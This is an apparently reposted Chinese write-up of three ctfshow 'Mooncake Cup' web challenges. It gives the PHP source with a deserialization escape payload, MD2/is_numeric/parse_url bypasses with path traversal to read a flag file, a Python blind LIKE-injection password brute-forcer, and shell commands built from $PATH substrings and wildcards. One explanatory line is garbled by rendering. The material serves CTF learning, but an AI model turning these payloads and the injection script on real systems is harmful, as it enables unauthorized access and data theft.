ctfshow-月饼杯

Posted H3rmesk1t

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ctfshow-月饼杯相关的知识,希望对你有一定的参考价值。

web1_此夜圆

考点

php反序列化字符逃逸

思路

观察 index.php 代码,很容易发现是php反序列化字符逃逸中字符增多的考点,我们要将password的值变为yu22x,从而达到包含 flag.php 的目的,我们需要逃逸的部分为 ";s:8:"password";s:5:"yu22x";},长度为30,所以我们需要15个 Firebasky来达到逃逸这部分字符串的目的

Payload

index.php代码

<?php
error_reporting(0);

class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				include('flag.php');
				echo $flag;	
			}
			else
			{
				echo 'wrong password';
			}
		}
	}

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

Payload:
1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

在这里插入图片描述

web2_故人心

考点

is_numeric绕过、MD2绕过、parse_url绕过

思路

  • 第一层绕过:a=1e-162,尝试后发现数只要在-323到-162之间的都可以
  • 第二层绕过:用0e开头的数,一次加密后也是0e的一个数和两次加密后也是0e的数就可以绕过,b=0e652024452c=0e603448399
  • 第三层绕过,前两层绕过后,提示我们flag在 fl0g.txt中,由于php遇到不认识的协议就会当目录处理,例如a://aaa/…/…/etc/passwd之类的,所以我们可以利用 a://ctfshow.com/../../../../../../../fl0g.txt来绕过

Payload

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
    if($d){
             highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));
                }else{
                    echo '差点点就成功了!';
                }
            }else{
                echo 'please give me url!!!';
            }     
    }else{
        echo '想一想md5碰撞原理吧?!';
    }
}else{
    echo '第一个都过不了还想要flag呀?!';
}

Payload:

GET?a=1e-162&b=0e652024452&c=0e603448399
POST:url=a://ctfshow.com/../../../../../../../fl0g.txt

在这里插入图片描述

web3_莫负婵娟

考点

like注入、Linux环境变量构造执行命令、通配符利用

思路

  • F12查看源码发现 SELECT * FROM users where username like binary('$username') and password like binary('$password'),猜测是 like注入
  • like模糊查询可以使用%匹配多个字符,_匹配单个字符,测试后发现%被过滤,密码长度为32位,注入得到密码 67815b0c009ee970fe4014abaa3Fa6A0
  • 登录进去后FUZZ发现小写字母都被过滤了,大写字母、数字、 、 : 没 被 过 滤 , 我 们 利 用 L i n u x 的 环 境 变 量 ‘ 、: 没被过滤,我们利用Linux的环境变量` :LinuxPATH`来构造小写字母执行命令
  • 构造 ls${PATH:5:1}${PATH:2:1},发现flag文件名字及位置,接着构造 nl flag.php0;${PATH:14:1}${PATH:5:1} ????.???,获取flag

Payload

like注入脚本

import requests
import string

strs = string.digits+string.ascii_letters
url = 'http://d274b648-0dad-4058-9b20-9a7a35424df5.chall.ctf.show/login.php'

pwd = ''
for i in range(32):
	print('i = '+str(i+1),end='\\t')
	for j in strs:
		password = pwd + j + (31-i)*'_'
		data = {'username':'yu22x','password':password}
		r = requests.post(url,data=data)
		if 'wrong' not in r.text:
			pwd += j
			print(pwd)
			break

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

以上是关于ctfshow-月饼杯的主要内容,如果未能解决你的问题,请参考以下文章

天梯杯 L2-003. 月饼

ctfshow baby杯web

[ctfshow]大牛杯

CTFshow 36D杯

ctfshow 大牛杯web

CTFSHOW七夕杯web